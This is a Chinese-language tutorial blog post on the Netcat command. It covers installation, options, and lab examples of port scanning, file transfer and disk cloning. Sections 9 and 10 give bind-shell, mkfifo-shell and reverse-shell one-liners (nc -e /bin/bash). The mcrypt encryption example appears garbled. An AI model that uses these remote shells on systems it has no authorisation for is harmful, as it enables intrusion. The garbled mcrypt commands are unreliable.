Netcat命令

windows安装netcat

windows安装nc命令
1.下载netcat。下载地址:
https://eternallybored.org/misc/netcat/
2、解压
3、将nc.exe 复制到C:\Windows\System32的文件夹下
4、打开cmd。输入nc 命令OK~
发送消息:nc -l -p port
与linux稍微不同,可以使用nc --help
$ nc -l -p 6789
a a e e f f
Linux版本下载地址:https://nmap.org/ncat/

Windows版本下载地址:http://nmap.org/dist/ncat-portable-5.59BETA1.zip

Netcat命令使用方法

Netcat命令使用方法
由于nc命令使用方法很多,下面我就给大家介绍一下,希望能帮助到大家!

用法:

ncat [选项] [主机名] [端口]

花费时间的选项以秒为单位。 附加“ ms”毫秒,“ s”表示秒,“ m”表示分钟,或“ h”表示小时(例如500ms)。

-4 仅使用IPv4

-6 仅使用IPv6

-U, --unixsock 仅使用Unix域套接字

–vsock 仅使用vsock套接字

-C, --crlf 将CRLF用于EOL序列

-c, --sh-exec 通过/bin/sh执行给定命令

-e, --exec 执行给定命令

–lua-exec 执行给定的Lua脚本

-g hop1[,hop2,…] 松散的源路由跳跃点(最大8个)

-G 松散的源路由跳跃指针(4、8、12,…)

-m, --max-conns 最大同时连接

-h, --help 显示此帮助屏幕

-d, --delay

-o, --output 将会话数据转储到文件中

-x, --hex-dump 将会话数据以十六进制形式转储到文件中

-i, --idle-timeout

-p, --source-port port 指定要使用的源端口

-s, --source addr 指定要使用的源地址(不影响-l)

-l, --listen 绑定并监听传入的连接

-k, --keep-open 在侦听模式下接受多个连接

-n, --nodns 不通过DNS解析主机名

-t, --telnet 回答Telnet协商

-u, --udp 使用UDP代替默认TCP

–sctp 使用SCTP代替默认TCP

-v, --verbose 使用SCTP代替默认TCP

-w, --wait

-z 零I/O模式,仅报告连接状态

–append-output 附加而不是破坏指定的输出文件

–send-only 仅发送数据,忽略接收;退出EOF

–recv-only 仅接收数据,从不发送任何内容

–no-shutdown 在stdin上收到EOF时继续半双工

–allow 只允许给定的主机连接到Ncat

–allowfile 允许连接到Ncat的主机文件

–deny 拒绝给定主机连接到Ncat

–denyfile 拒绝连接到Ncat的主机文件

–broker 启用Ncat的连接代理模式

–chat 启动一个简单的Ncat聊天服务器

–proxy <addr[:port]> 指定要通过其代理的主机的地址

–proxy-type 指定代理类型 (“http”, “socks4”, “socks5”)

–proxy-auth 使用HTTP或SOCKS代理服务器进行身份验证

–proxy-dns 指定解析代理目标的位置

–ssl 使用SSL连接或监听

–ssl-cert 指定用于侦听的SSL证书文件(PEM)

–ssl-key 指定用于侦听的SSL私钥(PEM)

–ssl-verify 验证证书的信任和域名

–ssl-trustfile 包含受信任SSL证书的PEM文件

–ssl-ciphers 包含要使用的SSL密码的密码列表

–ssl-alpn 要使用的ALPN协议列表

–version 显示Ncat的版本信息并退出

下面再给大家分享一些简单的例子,希望可以用得上!下面是我本地的模拟环境:

A服务器,Kali Linux:192.168.1.105 (基于Debian的Linux)

B服务器,BlackArch:192.168.1.102 (基于Arch的Linux)

1、Necat 端口扫描

扫描单个端口:

root@kali:~# nc -zv www.fujieace.com 80

扫描多个端口:

root@kali:~# nc -zv www.fujieace.com 1-1023 #现在这样扫描不行,会提示无效的端口号

2、Necat 连接与监听

在TCP / UDP端口上监听

root@kali:~# nc -l 1576 //监听1576端口来接受客户端的连接

连接到TCP / UDP端口

[ blackarch ~]# nc 192.168.1.105 1576 //启动客户端打开连接

3、Netcat 聊天
现在的聊天交流工具很多。但是,有时候在一些特殊的环境下,需要沟通怎么办?Netcat提供了这样一种方法,你只需要创建一个简单的聊天服务器,一个预先确定好的端口,这样子你们就可以相互交流了。

服务端输入命令:

root@kali:~# nc -l 1576

客户端输入命令:

[ blackarch ~]# nc 192.168.1.105 1576

netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。不管你在自己电脑上输入什么?然后回车,对方电脑都会显示出来。

4、Netcat 文件传输
大多数情况下,我们都是通过网络或者其它工具传输文件,例如:FTP、SCP、SMB等等。但是当你只是需要临时或者一次传输文件,去特意配置这些传输软件太麻烦了吧!因此,Netcat就显得很有必要了。

1、将A服务器上的 love.grc 文件上传到 B服务器。

服务端输入命令:

root@kali:~# nc -l 1576 < love.grc 上传的文件

客户端输入命令:

[ blackarch ~]# nc -n 192.168.1.105 1576 > love.grc 接收的文件,可以重命名

2、下面的我们发送文件从B到A,但是服务器创建在A上,把B服务器上的test.zip文件上传到A服务器上去。

服务端输入命令:

root@kali:~# nc -l 1576 > test.zip 接收的文件,可以重命名

客户端输入命令:

[ blackarch ~]# nc -n 192.168.1.105 1576 < test.zip 上传的文件

5、Netcat 目录传输
发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。

1、如果你想要通过网络传输一个目录从A到B,把A服务器的test目录上传到B服务器。

服务端输入命令:

root@kali:~# tar -cvf - test | nc -l 1576

客户端输入命令:

[ blackarch ~]# nc -n 192.168.1.105 1576 | tar -xvf -

这里整个大概思路是:

在A服务器上,我们创建一个tar归档包并且通过 - 在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。

在客户端我们下载该压缩包通过netcat 管道然后打开文件。

2、如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。

服务端输入命令:

root@kali:~# tar -cvf – test | bzip2 -z | nc -l 1576 #通过bzip2压缩

客户端输入命令:

[ blackarch ~]# nc -n 192.168.1.105 1567 | bzip2 -d |tar -xvf - #使用bzip2解压

6、Netcat 加密传送中的数据
如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。

服务端输入命令:

root@kali:~# nc -l 1576 | mcrypt –flush –bare -F -q -d -m ecb < file.txt #上传的文件

客户端输入命令:

[ blackarch ~]# mcrypt –flush –bare -F -q -m ecb > file.txt | nc -n 192.168.1.105 1576 #接收的文件,可以重命名

7、流视频
nc虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,依然也是一个不错的选择。

服务端命令:

root@kali:~# cat video.avi | nc -l 1567 #从一个视频文件中读入并重定向输出到netcat客户端

客户端命令:

[ blackarch ~]# nc 192.168.1.105 1567 | mplayer -vo x11 -cache 3000 - #从socket中读入数据并重定向到mplayer

8、克隆设备
如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。

克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上;

服务端命令:

root@kali:~# dd if=/dev/sda | nc -l 1567

客户端命令:

[ blackarch ~]# nc -n 192.168.1.105 1567 | dd of=/dev/sda

dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

9、Netcat 打开一个shell远程管理
一般来说,我们可以使用telnet和ssh命令来打开一个shell远程管理,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。

1、假设你的netcat支持 -c 、 -e 参数;

服务端输入命令:

root@kali:~# nc -l 1567 -e /bin/bash -i 1

客户端输入命令:

[ blackarch ~]# nc 192.168.1.105 1567
netcat shell远程管理

这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash;

2、假如netcat 不支持-c 或者 -e 参数,我们仍然能够创建远程shell。

服务端输入命令:

root@kali:~# mkfifo /tmp/tmp_fifo
root@kali:~# cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。

说明:

网络收到的输入写到fifo文件中

cat 命令读取fifo文件并且其内容发送给sh命令

sh命令进程受到输入并把它写回到netcat。

netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

客户端输入命令:

[ blackarch ~]# nc 192.168.1.105 1567

10、反向shell
反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

服务端命令:

root@kali:~# nc -l 1567
netcat反向shell

客户端命令:

[ blackarch ~]# nc 192.168.1.105 1567 -e /bin/bash

11、指定源端口
假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

服务端命令:

root@kali:~# nc -l 1567

客户端命令:

[ blackarch ~]# nc 192.168.1.105 -p 25

注意:

使用1024以内的端口需要root权限。

该命令将在客户端开启25端口用于通讯,否则将使用随机端口。

12、指定源地址
假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在netcat中使用-s选项指定ip地址。

服务端命令:

root@kali:~# nc -u -l 1567 < file.txt

客户端命令:

[ blackarch ~]# nc -u 192.168.1.105 1567 -s 192.168.1.110 > file.txt #该命令将绑定地址192.168.1.110。

总结:

nc还有其它用途,例如:

使用-t选项模拟Telnet客户端,
HTTP客户端用于下载文件,
连接到邮件服务器,使用SMTP协议检查邮件,
使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。

简单来说,只要你了解协议就可以使用netcat作为网络通讯媒介,实现各种客户端。

linux查看shell

1、查看所有可用的shell:
cat /etc/shells
2、查看当前的shell:
echo $SHELL

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐